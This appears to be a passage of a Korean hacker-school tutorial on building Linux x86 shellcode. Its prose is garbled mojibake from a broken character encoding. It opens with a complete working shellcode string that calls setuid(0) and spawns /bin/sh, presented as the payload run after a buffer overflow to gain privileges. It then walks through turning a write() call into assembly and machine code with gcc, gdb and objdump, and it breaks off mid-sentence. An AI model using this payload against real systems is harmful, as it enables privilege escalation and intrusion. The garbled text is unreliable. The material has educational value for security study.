* ½©ÄÚµå ¸¸µé±â °­Á "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0 \x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80 \x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" ÇÁ·Î±×·¥ÀÇ Ãë¾àÁ¡À¸·Î ÀÎÇØ ¸®ÅÏ ¾îµå·¹½º¸¦ º¯°æÇÒ ¼ö ÀÖÀ» ¶§, º¸ÅëÀº À§°ú °°Àº "½©ÄÚµå"¸¦ ½ÇÇàÇÏ¿© ³ôÀº ±ÇÇÑÀ» ȹµæÇÑ´Ù. ÀÌ·¯ÇÑ ½©ÄÚµå´Â ¾î¶² °úÁ¤À¸·Î ¸¸µé¾îÁö´Â °ÍÀϱî? ÀÌÁ¦ºÎÅÍ ±× ¹æ¹ý¿¡ ´ëÇØ ¹è¿öº¸°Ú´Ù. ¸ÕÀú "½©Äڵ带 Á÷Á¢ ¸¸µç´Ù"¶ó°í Çϸé À¸·¹ °ÌºÎÅÍ ¸Ô°Ô µÉ ¼ö ÀÖ´Ù. ½©Äڵ尡 ¾ð¶æ º¸±â¿¡´Â µµ¹«Áö ¾Ë ¼ö ¾ø´Â ±â°è¾îµé·Î ±¸¼ºµÇ¾î Àֱ⠶§¹®ÀÌ´Ù. ±×·¡¼­ ±â°è¾î¸¦ Çѹøµµ ¸¸µé¾î º» ÀûÀÌ ¾ø°Å³ª ¾î¼Àºí¸®¾î¸¦ Àß ´Ù·ê ÁÙ ¸ð¸£´Â »ç¶÷¿¡°Ô´Â ½©Äڵ带 ¸¸µå´Â °úÁ¤ÀÌ ¸¹ÀÌ ¾î·Æ°Ô ´À²¸Áú ¼ö ÀÖ´Ù. ÀÌ·² ¶§¿£ óÀ½ºÎÅÍ º¹ÀâÇÑ ½©Äڵ带 ¸¸µå·Á°í ÇÏÁö ¸»°í, ÃÖ´ëÇÑ °£´ÜÇÑ ±â°è¾î¸¦ ¸¸µå´Â ¿¬½À¿¡¼­ºÎÅÍ Â÷Ãû ½©Äڵ带 ÇâÇØ ¹ßÀüÇØ ³ª°¡´Â °ÍÀÌ ÁÁ´Ù. Çѹø¿¡ ¸¹Àº °è´ÜÀ» ¶Ù¾î ¿À¸£·Á°í ÇÏÁö ¸»°í, ÇÑ´Ü°è ÇѴܰ辿 ¹â°í ¿Ã¶ó°¡´Ù º¸¸é ½±°í Àç¹ÌÀÖ°Ô ½©ÄÚµå ¸¸µå´Â ¹æ¹ýÀ» ¼Õ¿¡ ÀÍÈú ¼ö ÀÖÀ» °ÍÀÌ´Ù. ±×·³ ¿ì¸®°¡ ¸¸µé ¼ö ÀÖ´Â ±â°è¾î ÄÚµåµé Áß °¡Àå °£´ÜÇÑ °ÍÀº ¹«¾ùÀϱî? ¿ì¼±Àº È­¸é¿¡ Hello, Students! ¶ó°í Ãâ·ÂÇÏ´Â ±â°è¾î Äڵ带 ¸¸µé¾î º¸°Ú´Ù. È­¸é¿¡ ¹®ÀÚ¿­À» Ãâ·ÂÇÏ·Á¸é printf() ÇÔ¼ö µîÀ» »ç¿ëÇÏ¸é µÈ´Ù. ÇÏÁö¸¸, ÀÌ printf() ÇÔ¼ö´Â »ç½Ç ³»ºÎÀûÀ¸·Î write()¶ó´Â ÇÔ¼ö¸¦ »ç¿ëÇÑ´Ù. printf() ÇÔ¼ö´Â write() ÇÔ¼ö¸¦ Á¶±Ý ´õ Æí¸®ÇÏ°Ô ¾²±â À§ÇØ ¸¸µé¾îÁø ¶óÀ̺귯¸® ÇÔ¼öÀ̱⠶§¹®ÀÌ´Ù. ±×·¡¼­ printf() ÇÔ¼ö´Â write() ÇÔ¼öº¸´Ù ÈξÀ ´õ º¹ÀâÇÏ°Ô ±¸¼ºµÇ¾î ÀÖ´Ù. write() ÇÔ¼ö°¡ È®ÀåµÈ °ÍÀÌ printf()À̱⠶§¹®ÀÌ´Ù. ±×·¡¼­ ±â°è¾î Äڵ带 ÃÖ´ëÇÑ °£´ÜÇÏ°Ô Çϱâ À§ÇØ ¿ì¸®´Â printf() ´ë½Å write() ÇÔ¼ö¸¦ »ç¿ëÇÏ¿© ¹®ÀÚ¿­À» Ãâ·ÂÇØ º¼ °ÍÀÌ´Ù. ÀÏ´Ü, write() ÇÔ¼ö¸¦ ÀÌ¿ëÇÏ¿© È­¸é¿¡ ¹®ÀÚ¿­À» Ãâ·ÂÇÏ´Â C Äڵ带 ¸¸µé¾î º¸ÀÚ. ======================================== int main() { write(1, "Hello, Students!\n", 17); } ======================================== ù ¹ø° ÀÎÀÚ´Â Ãâ·Â ´ë»óÀ» ÁöÁ¤ÇÏ´Â °ÍÀ¸·Î¼­, 1Àº Ç¥ÁØ Ãâ·Â. Áï, ¿ì¸®°¡ º¸°í ÀÖ´Â Å͹̳Πȭ¸éÀÌ µÈ´Ù. µÎ ¹ø° ÀÎÀÚ´Â ÀÌ È­¸é¿¡ Ãâ·ÂÇÒ ¹®ÀÚ¿­ ±× ÀÚüÀÌ°í, ¸¶Áö¸· ÀÎÀÚ´Â ±× ¹®ÀÚ¿­ÀÇ ±æÀ̸¦ ÁöÁ¤ÇØ ÁØ °ÍÀÌ´Ù. ÀÌÁ¦ À§ Äڵ带 ÄÄÆÄÀÏ ÇÏÀÚ. ±×¸®°í ½ÇÇàÀ» Çϸé À§ ¹®ÀÚ¿­ÀÌ È­¸é¿¡ Ãâ·ÂµÉ °ÍÀÌ´Ù. ÀÌÁ¦ ¿ì¸®°¡ ¿øÇÏ´Â °ÍÀº À§ Äڵ带 ±â°è¾î·Î ¸¸µé¾î º¸´Â °ÍÀÌ´Ù. ±â°è¾î´Â 0°ú 1¸¸ Çؼ®ÇÒ ÁÙ ¾Æ´Â ÄÄÇ»ÅÍ°¡ »ç¿ëÇÏ´Â ¾ð¾î¶ó°í ¸ðµÎ ÇÑ ¹ø ÂëÀº µé¾î ºÃÀ» °ÍÀÌ´Ù. ÇÏÁö¸¸ Àΰ£Àº ´ÜÁö 0°ú 1¸¸À¸·Î´Â ¾Æ¹« °Íµµ ÇÒ ¼ö ¾ø´Ù. ±×·¡¼­ °³¹ßµÈ °ÍÀÌ ¹Ù·Î ¾î¼Àºí¸®¾îÀÌ´Ù. ¾î¼Àºí¸®¾î´Â C¾ð¾î³ª PHP, JAVA¿Í °°Àº ÄÄÇ»ÅÍ ¾ð¾îÀÇ ÇÑ Á¾·ùÀÌ´Ù. ±×¸®°í Àΰ£ÀÌ »ç¿ëÇÏ´Â ÄÄÇ»ÅÍ ¾ð¾îµé Áß ±â°è¾î¿¡ °¡Àå ±ÙÁ¢ÇÑ ¾ð¾îÀ̱⵵ ÇÏ´Ù. ¿ì¸®´Â C¾ð¾î¸¦ ¹Ù·Î ±â°è¾î·Î ¹Ù²Ù´Â ¹«¸®ÇÑ ÁþÀ» ÇÏÁö ¾Ê°í, C¾ð¾î¸¦ ÀÏ´Ü ¾î¼Àºí¸®¾î·Î Ç¥ÇöÇÏ°í, ±× ´ÙÀ½ ±×°ÍÀ» ±â°è¾î·Î ¹Ù²Ù´Â ´Ü°è¸¦ °ÅÄ¥ °ÍÀÌ´Ù. ±×·³ C¾ð¾î¸¦ ¾î¶»°Ô ¾î¼Àºí¸®¾î·Î ¹Ù²Ü±î? gcc¿Í gdb ÇÁ·Î±×·¥À» ÀÌ¿ëÇÏ¸é µÈ´Ù. ¸ÕÀú, ´ÙÀ½°ú °°Àº ¸í·ÉÀ¸·Î À§ ÇÁ·Î±×·¥À» ´Ù½Ã ÄÄÆÄÀÏÇÏÀÚ. ======================================================= [root@hackerschool assem]# gcc -o write write.c -static [root@hackerschool assem]# ======================================================= À§Ã³·³ -static ¿É¼ÇÀ» Á༭ Á¤Àû ÄÄÆÄÀÏÇØ¾ß write() ÇÔ¼öÀÇ ³»ºÎ±îÁö ¾î¼Àºí¸® ¾î·Î º¼ ¼ö ÀÖ´Ù´Â Á¡¿¡ ÁÖÀÇÇØ¾ß ÇÑ´Ù. ¸¸¾à ÀÌ ¿É¼ÇÀ» ÁÖÁö ¾Ê´Â´Ù¸é ¿ì¸®´Â ±×Àú write()¸¦ È£ÃâÇÏ´Â Äڵ常 º¼ ¼ö ÀÖ´Ù. ÀÌÁ¦ gdb¸¦ ÀÌ¿ëÇÏ¿© ÄÄÆÄÀÏ ÈÄ ±â°è¾î·Î º¯È¯µÈ ¹ÙÀ̳ʸ®¸¦ ºÐ¼®Çغ¸ÀÚ. gdb ÅøÀº µð¹ö±ë(ÇÁ·Î±×·¥ÀÇ ¹®Á¦Á¡À» ºÐ¼®ÇÏ´Â ÀÛ¾÷)Àº ¹°·Ð ±â°è¾î Äڵ带 ¾î¼Àºí¸®¾î·Î º¸¿©ÁÖ´Â ±â´Éµµ °¡Áö°í ÀÖ´Ù. =========================================================================== [root@hackerschool assem]# gdb write GNU gdb Red Hat Linux (5.1.90CVS-5) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) =========================================================================== À§¿Í °°Àº ¸í·ÉÀ¸·Î write ÇÁ·Î±×·¥À» gdb·Î ºÒ·¯µéÀδÙ. ÀÌÁ¦ °¡Àå ¸ÕÀú main() ÇÔ¼ö¸¦ ¾î¼Àºí¸®¾î·Î Ãâ·ÂÇØ º¸ÀÚ. ÀÌó·³ ±â°è¾î¸¦ ¾î¼Àºí¸®¾î·Î º¯È¯ÇÏ´Â ÀÛ¾÷À» µð½º¾î¼Àºí¸µ(disassembling)À̶ó°í ºÎ¸¥´Ù. ================================================ (gdb) disassem main Dump of assembler code for function main: 0x80481e0
: push %ebp 0x80481e1 : mov %esp,%ebp 0x80481e3 : sub $0x8,%esp 0x80481e6 : sub $0x4,%esp 0x80481e9 : push $0x11 0x80481eb : push $0x808ce68 0x80481f0 : push $0x1 0x80481f2 : call 0x804ccf0 0x80481f7 : add $0x10,%esp 0x80481fa : leave 0x80481fb : ret End of assembler dump. (gdb) ================================================ À§´Â ¿ì¸®°¡ ÄÚµùÇÑ main() ÇÔ¼ö°¡ ¾î¼Àºí¸®¾î·Î Ç¥ÇöµÈ ¸ð½ÀÀÌ´Ù. ÄÄÆÄÀÏµÈ write ÇÁ·Î±×·¥Àº ÄÄÇ»ÅÍ°¡ ÀÌÇØÇÒ ¼ö ÀÖ´Â ±â°è¾î ÇüÅ·ΠµÇ¾î ÀÖ°í, ±× ±â°è¾î¸¦ gdb°¡ Çؼ®ÇÏ¿© ¾î¼Àºí¸®¾î·Î Ãâ·ÂÇØ ÁØ °ÍÀÌ´Ù. ¾î¼Àºí¸®¾î¿¡ Àͼ÷ÇÏÁö ¾Ê´Ù¸é ´ÙÀ½ ³× ÁÙ¸¸ÀÌ¶óµµ ÀÌÇØÇÏÀÚ. 0x80481e9 : push $0x11 0x80481eb : push $0x808ce68 0x80481f0 : push $0x1 0x80481f2 : call 0x804ccf0 0x11ÀÌ ½ºÅÿ¡ push µÇ°í, ±× ´ÙÀ½ 0x808ce68ÀÌ push µÇ°í, ¸¶Áö¸·À¸·Î 0x1ÀÌ push µÈ ´ÙÀ½, ÃÖÁ¾ÀûÀ¸·Î write ÇÔ¼ö°¡ call µÇ°í ÀÖ´Ù. ¾Õ¼­ ³ª¿Ô´ø 0x11, 0x808ce68, 0x1ÀÇ Á¤Ã¼´Â ¹«¾ùÀϱî? ÀÏ´Ü ÀÌ°ÍÀ» 10Áø¼ö·Î ¹Ù²ãº¸ÀÚ. ±×·³ 0x11Àº 17ÀÌ µÇ°í, 0x808ce68Àº ÁÖ¼Ò °ªÀ¸·Î º¸ÀÌ´Ï ±×³É ³öµÎ¸ç, 0x1Àº ±×´ë·Î 1ÀÌ µÈ´Ù. ¾î¶ó? ¾îµð¼­ ¸¹ÀÌ º» °ªµéÀÌ´Ù. write(1, "Hello, Students!\n", 17); ¹Ù·Î write ÇÔ¼öÀÇ ÀÎÀÚµéÀÎ °ÍÀÌ´Ù. ±×·³, 0x808ce68Àº "Hello..." ¹®ÀÚ¿­ÀÌ ÀúÀåµÈ °÷ÀÇ Ã³À½ ÁÖ¼Ò°¡ ¾Æ´Ò±î? ´ÙÀ½ gdb ¸í·ÉÀ¸·Î È®ÀÎÇØ º¸ÀÚ. ====================================================== (gdb) x/s 0x808ce68 0x808ce68 <_IO_stdin_used+4>: "Hello, Students!\n" (gdb) ====================================================== ¿¹»óÀÌ ¸Â¾Ò´Ù. write ÇÔ¼öÀÇ 3 ÀÎÀÚ°¡ Â÷·Ê´ë·Î push µÈ °ÍÀÌ´Ù. push µÊÀ̶ó Çϸé, ½ºÅÿ¡ ±× °ªÀÌ ÀúÀåµÇ´Â °ÍÀ» ¸»ÇÑ´Ù. ´Ù½Ã ¸»ÇØ push´Â ½ºÅÿ¡ °ªÀ» Áý¾î ³Ö´Â ¾î¼Àºí¸®¾î ¸í·ÉÀÌ´Ù. ±×·±µ¥ ÀÌ ¶§, "1, ¹®ÀÚ¿­, ±æÀÌ" ¼ø¼­°¡ ¾Æ´Ñ "±æÀÌ, ¹®ÀÚ¿­, 1" ¼ø¼­. Áï, ¹Ý´ë·Î °ªµéÀ» ³ÖÀº °Í¿¡ ÁÖ¸ñÇ϶ó. ÀÌó·³ ÇÔ¼ö(¿©±â¿¡¼± write)ÀÇ ÀÎÀÚ´Â ½ºÅÿ¡ ¹Ý´ë ¼ø¼­·Î ÀúÀåµÇ°Ô µÇ¾î ÀÖ´Ù. ¿©±â¿¡¼± ±×´ÙÁö Áß¿äÇÑ ³»¿ëÀÌ ¾Æ´ÏÀÚ¸¸, ¹öÆÛ ¿À¹öÇÃ·Î¿ì °ø°Ý¿¡ À־ ÇÔ¼öÀÇ ÀÎÀÚ°¡ ÀúÀåµÇ´Â ¼ø¼­´Â ¸Å¿ì Áß¿äÇÏ´Ï ²À ±â¾ïÇØ µÑ ÇÊ¿ä°¡ ÀÖ´Ù. ÀÚ, ±×·³ ÀÌÁ¦ ÀÌ·¸°Ô write() ÇÔ¼öÀÇ ÀÎÀÚ¸¦ Â÷·Ê´ë·Î ½ºÅÿ¡ push ÇÑ ´ÙÀ½ ¸¶Áö¸·À¸·Î À§Ã³·³ write() ÇÔ¼ö¸¸ call ÇÏ¸é µÇ´Â °ÍÀϱî? ´Ù½Ã ¸»Çؼ­ Áö±Ý ¼³¸íÇÑ ÀÌ °úÁ¤¸¸ ±â°è¾î·Î ¸¸µé¸é µÇ´Â °ÍÀϱî? ¾Æ½±Áö¸¸, ÀÌ·¸°Ô °£´ÜÇÏ¸é ¾ó¸¶³ª ÁÁ¾ÒÀ»±î. ¿ì¸®´Â write() ÇÔ¼ö°¡ ÇÏ´Â ³»¿ë±îÁö ¸ðµÎ ±â°è¾î·Î ¸¸µé¾î ÁÖ¾î¾ß¸¸ ÇÑ´Ù. ±×·³ À̹ø¿£ write() ÇÔ¼ö°¡ µµ´ëü ¹«½¼ ÀÏÀ» ÇÏ´ÂÁö gdb¸¦ ÀÌ¿ëÇÏ¿© ±× ³»¸·À» Á¶¸ñ Á¶¸ñ ¶â¾îº¸µµ·Ï ÇÏÀÚ. ============================================================ (gdb) disass write Dump of assembler code for function write: 0x804ccf0 : push %ebx 0x804ccf1 : mov 0x10(%esp,1),%edx 0x804ccf5 : mov 0xc(%esp,1),%ecx 0x804ccf9 : mov 0x8(%esp,1),%ebx 0x804ccfd : mov $0x4,%eax 0x804cd02 : int $0x80 0x804cd04 : pop %ebx 0x804cd05 : cmp $0xfffff001,%eax 0x804cd0a : jae 0x804d510 <__syscall_error> 0x804cd10 : ret 0x804cd11 : jmp 0x804cd20 0x804cd13 : nop ...»ý·«... 0x804cd1f : nop End of assembler dump. (gdb) ============================================================ À§¿¡¼­ ÇÙ½ÉÀÌ µÇ´Â ºÎºÐÀº ´ÙÀ½°ú °°´Ù. 0x804ccf1 : mov 0x10(%esp,1),%edx 0x804ccf5 : mov 0xc(%esp,1),%ecx 0x804ccf9 : mov 0x8(%esp,1),%ebx 0x804ccfd : mov $0x4,%eax 0x804cd02 : int $0x80 À§ ÄÚµå Áß °¡Àå ¸¶Áö¸· ºÎºÐ¿¡ ÀÖ´Â int ¿ÉÄÚµå(¾î¼Àºí¸®¾î ¸í·É)Àº interruptÀÇ ¾àÀڷμ­, ½Ã½ºÅÛ¿¡ ƯÁ¤ ½ÅÈ£¸¦ º¸³»´Â ¿ªÇÒÀ» ÇÑ´Ù. ÀÌ Áß 0x80 ÀÎÅÍ·´Æ®´Â Ä¿³ÎÀÇ ½Ã½ºÅÛ ÄÝ, Áï Ä¿³Î¿¡¼­ »ç¿ëÀڵ鿡°Ô Á¦°øÇØ ÁÖ´Â ÇÔ¼ö¸¦ È£ÃâÇ϶ó´Â Àǹ̸¦ °¡Áö°í ÀÖ´Ù. ±×·³ °ú¿¬ ¹«½¼ ÇÔ¼ö¸¦ È£ÃâÇ϶ó°í ¸í·ÉÇÏ°í ÀÖ´Â °ÍÀÏ°¡? int ¹Ù·Î À­ ¶óÀÎÀ» º¸¸é 0x4¶ó´Â ¼ýÀÚ°¡ ³ª¿Â´Ù. ÀÌ°ÍÀÌ ¹Ù·Î "¾î¶² ÇÔ¼ö"ÀÎÁö¸¦ ¾Ë·ÁÁÖ°í ÀÖÀ¸¸ç, 4¶ó´Â ¼ýÀÚÀÇ Àǹ̴ ½Ã½ºÅÛ ÄÝ Å×ÀÌºí¿¡ 4¹ø°·Î µî·ÏµÈ ÇÔ¼ö¸¦ ¸»ÇÏ°í ÀÖ´Â °ÍÀÌ´Ù. ¸î ¹ø° Å×ÀÌºí¿¡ ¾î¶² ÇÔ¼ö°¡ µî·ÏµÇ¾îÀÖ´ÂÁö º¸±â À§ÇØ /usr/include/asm/ unistd.h ȤÀº /usr/src/linux/include/asm-i386/unistd.h ÆÄÀÏÀ» ¿­¾îº¸ÀÚ. ============ unistd.h ============= #define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_waitpid 7 #define __NR_creat 8 ... »ý·« ... =================================== À§ ó·³ °¢ ¼ýÀÚ¿¡ ´ëÀÀµÇ´Â ÇÔ¼ö¸¦ È®ÀÎÇÒ ¼ö ÀÖÀ¸¸ç, À§¿¡¼­ º¸´Ù½ÃÇÇ 4´Â write() ÇÔ¼ö¸¦ ÀǹÌÇÑ´Ù´Â °ÍÀ» ¾Ë ¼ö ÀÖ´Ù. mov¶ó´Â ¾î¼Àºí¸®¾î ¸í·ÉÀº mov A, B ¶ó°í ¸í·ÉÇßÀ» ¶§, A¸¦ B·Î º¹»çÇÏ´Â ¿ªÇÒÀ» ÇÑ´Ù. Áï, mov $0x4, %eax ´Â eax¶ó´Â ·¹Áö½ºÅÍ(CPU ³»ÀÇ ÀúÀå °ø°£)·Î 4¶ó´Â °ªÀ» ÀúÀåÇÏ´Â ¸í·ÉÀÌ´Ù. ½ÇÁ¦·Î int 0x80 ¸í·ÉÀ» ½ÇÇàÇϸé, CPUÀÇ ·¹Áö½ºÅ͵é Áß eax, ebx, ecx, edx µîÀÇ °ªµéÀ» ºÒ·¯¿Í¼­ »ç¿ëÇϴµ¥, ÀÌ ¶§ °¡Àå ù¹ø° ·¹Áö½ºÅÍÀÎ eax¿¡¼­ ¾î¶² ÇÔ¼ö¸¦ È£ÃâÇÒÁö¸¦ ¾Ë°Ô µÇ°í, ±× ´ÙÀ½ ebx, ecx, edx ·¹Áö½ºÅ͵éÀÇ °ªÀº Â÷·Ê´ë·Î ÀÌ ÇÔ¼öÀÇ ÀÎÀÚ·Î Àû¿ëÀÌ µÈ´Ù. Áï, ÀÌ »ç½Ç¸¸ ¾Ë°í ÀÖ´Ù¸é, ±»ÀÌ ¾î¼Àºí¸®¾î¸¦ ¸ð¸£´õ¶óµµ ebx¿¡´Â 1, ecx¿¡´Â "Hello..."ÀÇ ÁÖ¼Ò, ±×¸®°í edx¿¡´Â ÀÌ ¹®ÀÚ¿­ÀÇ ±æÀÌÀÎ 17ÀÌ µé¾î°¡°Ô µÈ´Ù´Â »ç½ÇÀ» ½±°Ô À¯ÃßÇØ ³¾ ¼ö ÀÖ´Ù. À§ ¾î¼Àºí¸®¾î Äڵ带 Á¤È®ÇÏ°Ô À̾ÖÇÏ·Á¸é, Stack Pointer(esp)¿Í Base Pointer(ebp)¿¡ ´ëÇØ ÀÌÇØÇϱ⸸ ÇÏ¸é µÇ´Âµ¥, ÀÌ °ÍÀº "ÇÁ·¹ÀÓ Æ÷ÀÎÅÍ ¿À¹öÇ÷οì" °ø°Ý °­Á¿¡¼­ ÁýÁßÀûÀ¸·Î ¼³¸íÇϱâ·Î ÇÏ°Ú´Ù. ÀÚ, ÀÌÁ¦ Áö±Ý±îÁöÀÇ °úÁ¤À» Á¤¸®ÇØ º¸ÀÚ. * Hello, Students! °¡ Ãâ·ÂµÇ´Â °úÁ¤À» ¾î¼Àºí¸®¾î·Î Ç¥Çö. (1) write() ÇÔ¼öÀÇ ¸¶Áö¸· ÀÎÀÚÀÎ 17ÀÌ STACK¿¡ ÀúÀåµÊ. (2) µÎ ¹ø° ÀÎÀÚÀÎ "Hello..." ¹®ÀÚ¿­ÀÇ ½ÃÀÛ ÁÖ¼Ò°¡ STACK¿¡ ÀúÀåµÊ. (3) ù ¹ø° ÀÎÀÚÀÎ 1ÀÌ STACK¿¡ ÀúÀåµÊ. (4) write() ÇÔ¼ö°¡ È£ÃâµÊ. (5) ¸¶Áö¸· ÀÎÀÚÀÎ 17ÀÌ edx¿¡ ÀúÀåµÊ. (6) µÎ ¹ø° ÀÎÀÚÀÎ "Hello..." ¹®ÀÚ¿­ÀÇ ÁÖ¼Ò°¡ ecx¿¡ ÀúÀåµÊ. (7) ù ¹ø° ÀÎÀÚÀÎ 1ÀÌ ebx¿¡ ÀúÀåµÊ. (8) write() ½Ã½ºÅÛ ÄÝÀ» ÀǹÌÇÏ´Â 4°¡ eax¿¡ ÀúÀåµÊ. (9) ½Ã½ºÅÛ ÄÝÀ» È£ÃâÇÏ´Â int 0x80 ÀÎÅÍ·´Æ®°¡ ¹ß»ýÇÔ. (10) eax, ebx, ecx, edx °ªÀ» Âü°íÇÏ¿© ÇØ´ç ½Ã½ºÅÛ ÄÝÀÎ write()¸¦ ½ÇÇà. ¿©±â±îÁö ÀÌÇØÇÏ¿´´Ù¸é, ÀÌÁ¦ À§ °úÁ¤ Áß Áø±¹¸¸ »©³»¾î ÃÖ´ëÇÑ °£´ÜÇÏ°Ô ¾î¼Àºí¸®¾î·Î ÀÛ¼ºÇØ º¸ÀÚ. ================================= .LCO: .string "Hello, Students!\n" .globl main main: movl $0x04, %eax movl $0x01, %ebx movl $.LCO, %ecx movl $0x11, %edx int $0x80 ret ================================= ¾î¶²°¡? write() ÇÔ¼ö°¡ ³»ºÎÀûÀ¸·Î ¶Ç ´Ù½Ã write() ½Ã½ºÅÛ ÄÝÀ» È£ÃâÇÏ´Â °úÁ¤À» ±×´ë·Î Èä³»³½ °ÍÀÌ´Ù. ¿©±â¼­ ÇÔ¼ö¿Í ½Ã½ºÅÛ ÄÝÀº ¼­·Î ´Ù¸¥ °³³äÀÌ´Ù. ÇÔ¼ö´Â ¿ì¸®°¡ Æò¼Ò »ç¿ëÇÏ´Â ±× ÇÔ¼ö·Î ÀÌÇØÇÏ¸é µÇÁö¸¸, ½Ã½ºÅÛ ÄÝÀ̶õ Ä¿³Î ¼öÁØ¿¡ Á¸ÀçÇϸç, Ä¿³ÎÀÇ ±â´ÉÀ» »ç¿ëÀÚ°¡ »ç¿ëÇÒ ¼ö ÀÖµµ·Ï ÇØÁÖ´Â ÇÔ¼ö¸¦ ¸»ÇÑ´Ù. ÀÌÁ¦ À§ ¾î¼Àºí¸®¾î¸¦ ÄÄÆÄÀÏÇؼ­ ½ÇÇàÇØ º¸ÀÚ. À§ ÄÚµå´Â ¾î¼Àºí¸®¾îÀ̱⠶§¹®¿¡ *.c°¡ ¾Æ´Ñ, *.s ÆÄÀÏ·Î ¸¸µé¾î¾ß ÇÑ´Ù´Â Á¡¿¡ ÁÖÀÇÇÑ´Ù. [root@hackerschool assem]# gcc -o write write.s [root@hackerschool assem]# ./write Hello, Students! Segmentation fault [root@hackerschool assem]# ÀÌó·³ ¾ËÂ¥¹è±â¸¸ ¸ð¾Æ¼­ ¿øÇÏ´Â ¹®ÀÚ¿­À» Ãâ·ÂÇÏ´Â °Í¿¡ ¼º°øÇÏ¿´´Ù. ±×·±µ¥, ³¡ÀÌ Á¶±Ý ±ò²ûÇÏÁö ¾Ê°Ô Segmentation fault ¿¡·¯°¡ ³ªÅ¸³ª ¹ö·È´Ù. ¿Ö ÀÌ·± ¿¡·¯°¡ ³­ °ÍÀϱî? À§¿¡¼­ º¸¸é, ¸¶Áö¸·ÀÇ ret ¸í·É¿¡ ÀÇÇØ ½ºÅÿ¡¼­ return address·Î »ç¿ë µÉ ÁÖ¼Ò °ªÀÌ ²¨³»Áö´Âµ¥, ÀÌ ¶§ ½ºÅÿ¡´Â return address°¡ ¹Ì¸® ÀúÀåµÇ¾îÀÖÁö ¾ÊÀº »óÅÂÀÓÀ¸·Î ½ºÅÃÀÇ ¾Æ¹« °ªÀ̳ª ²¨³»Á® ±×°÷À¸·Î jump¸¦ ÇÏ·ÁÇϱ⠶§¹®¿¡ ³ªÅ¸³ª´Â Çö»óÀÌ´Ù. µû¶ó¼­, ¿ì¸®´Â À§ main() ÇÔ¼ö°¡ ¾Æ´Ñ, exit() ÇÔ¼ö·Î ÇÁ·Î±×·¥ÀÌ Á¾·áµÇ°Ô²û ¼öÁ¤Çؼ­ Segmentaion fault ¿¡·¯¸¦ ¿¹¹æÇÒ ¼ö ÀÖ´Ù. ±×·³, ÀÌÁ¦ exit(0) ¿ªÇÒÀ» ÇÏ´Â ¾î¼Àºí¸®¾î¸¦ °£´ÜÇÏ°Ô ¸¸µé¾î º¸ÀÚ. ¸ÕÀú exit() ½Ã½ºÅÛ ÄÝÀÌ ½Ã½ºÅÛ ÄÝ Å×À̺íÀÇ ¸î ¹ø°¿¡ µî·ÏµÇ¾î ÀÖ´ÂÁö¸¦ È®ÀÎ ÇÏÀÚ. [root@hackerschool assem]# cat /usr/include/asm/unistd.h | exit #define __NR_exit 1 ... »ý·« ... [root@hackerschool assem]# º¸´Ù½ÃÇÇ 1·Î µî·ÏÀÌ µÇ¾îÀÖ´Ù. ÀÌÁ¦ ¾î¼Àºí¸®¾î·Î ¸¸µé¾î º¸ÀÚ. movl $0x01, %eax movl $0x00, %ebx int $0x80 ¸Å¿ì °£´ÜÇÏ´Ù. ÀÌÁ¦ ¿ø·¡ÀÇ ¾î¼Àºí¸®¾î Äڵ忡 ÀÌ exit(0) Äڵ带 Ãß°¡ÇÏÀÚ. exit(0)¿¡ ÀÇÇØ ÇÁ·Î±×·¥ÀÌ Á¾·áµÊÀ¸·Î ¿ø·¡ ÀÖ´ø retÀº ÀÌÁ¦ Á¦°ÅÇصµ ¹«°üÇÏ´Ù. ================================= .LCO: .string "Hello, Students!\n" .globl main main: movl $0x04, %eax movl $0x01, %ebx movl $.LCO, %ecx movl $0x11, %edx int $0x80 movl $0x01, %eax movl $0x00, %ebx int $0x80 ================================= ÀÌÁ¦ ´Ù½Ã ÄÄÆÄÀÏ ÇÏ¿© ½ÇÇàÇØ º¸ÀÚ. [root@hackerschool assem]# gcc -o write write.s [root@hackerschool assem]# ./write Hello, Students! [root@hackerschool assem]# ÀÌÁ¦ °ÅÀÇ ¿Ïº®ÇÑ ¹®ÀÚ¿­ Ãâ·Â ÇÁ·Î±×·¥ÀÌ µÇ¾ú´Ù. ±×·³ ÀÌÁ¦ À§ ¾î¼Àºí¸®¾î Äڵ带 ±â°è¾î·Î ¸¸µå´Â Àϸ¸ ³²¾ÆÀÖ´Ù. ÀÏ´Ü, ÄÄÆÄÀÏ·¯¸¦ ÀÌ¿ëÇؼ­ À§ Äڵ带 ±â°è¾î·Î º¯È¯Çϵµ·Ï ¸¸µç´Ù. ÀÌ¹Ì ¾Õ¼­ ÀÔ·ÂÇÑ gcc ¸í·ÉÀÌ ¹Ù·Î ÀÌ ÀÛ¾÷À» Çß´Ù. µû¶ó¼­ ÄÄÆÄÀÏµÈ write ¸í·É¿¡¼­ ±â°è¾î¸¦ ÃßÃâÇØ ³»¾ß Çϴµ¥, À̹ø¿£ /usr/bin/ objdump¶ó´Â ÅøÀ» »ç¿ëÇÏ¸é µÈ´Ù. ============================================================== [root@hackerschool assem]# objdump -d write ... »ý·« ... 080483e2
: 80483e2: b8 04 00 00 00 mov $0x4,%eax 80483e7: bb 01 00 00 00 mov $0x1,%ebx 80483ec: b9 d0 83 04 08 mov $0x80483d0,%ecx 80483f1: ba 11 00 00 00 mov $0x11,%edx 80483f6: cd 80 int $0x80 80483f8: b8 01 00 00 00 mov $0x1,%eax 80483fd: bb 00 00 00 00 mov $0x0,%ebx 8048402: cd 80 int $0x80 ... »ý·« ... ============================================================== ¿ì¸®°¡ ¸¸µé¾ú´ø ¾î¼Àºí¸®¾î Äڵ尡 ±×´ë·Î Ãâ·ÂµÊ°ú µ¿½Ã¿¡ ¹Ù·Î ¿ÞÂÊ ºÎºÐ¿¡ ÀÌ ¾î¼Àºí¸®¾îµéÀÌ ±â°è¾î·Î º¯È¯µÇ¾î Ãâ·ÂµÇ¾ú´Ù. ¾Æ´Ï, Á¤È®È÷ ¸»ÇÏ¸é ¿ÞÂÊ¿¡ ÀÖ´Â 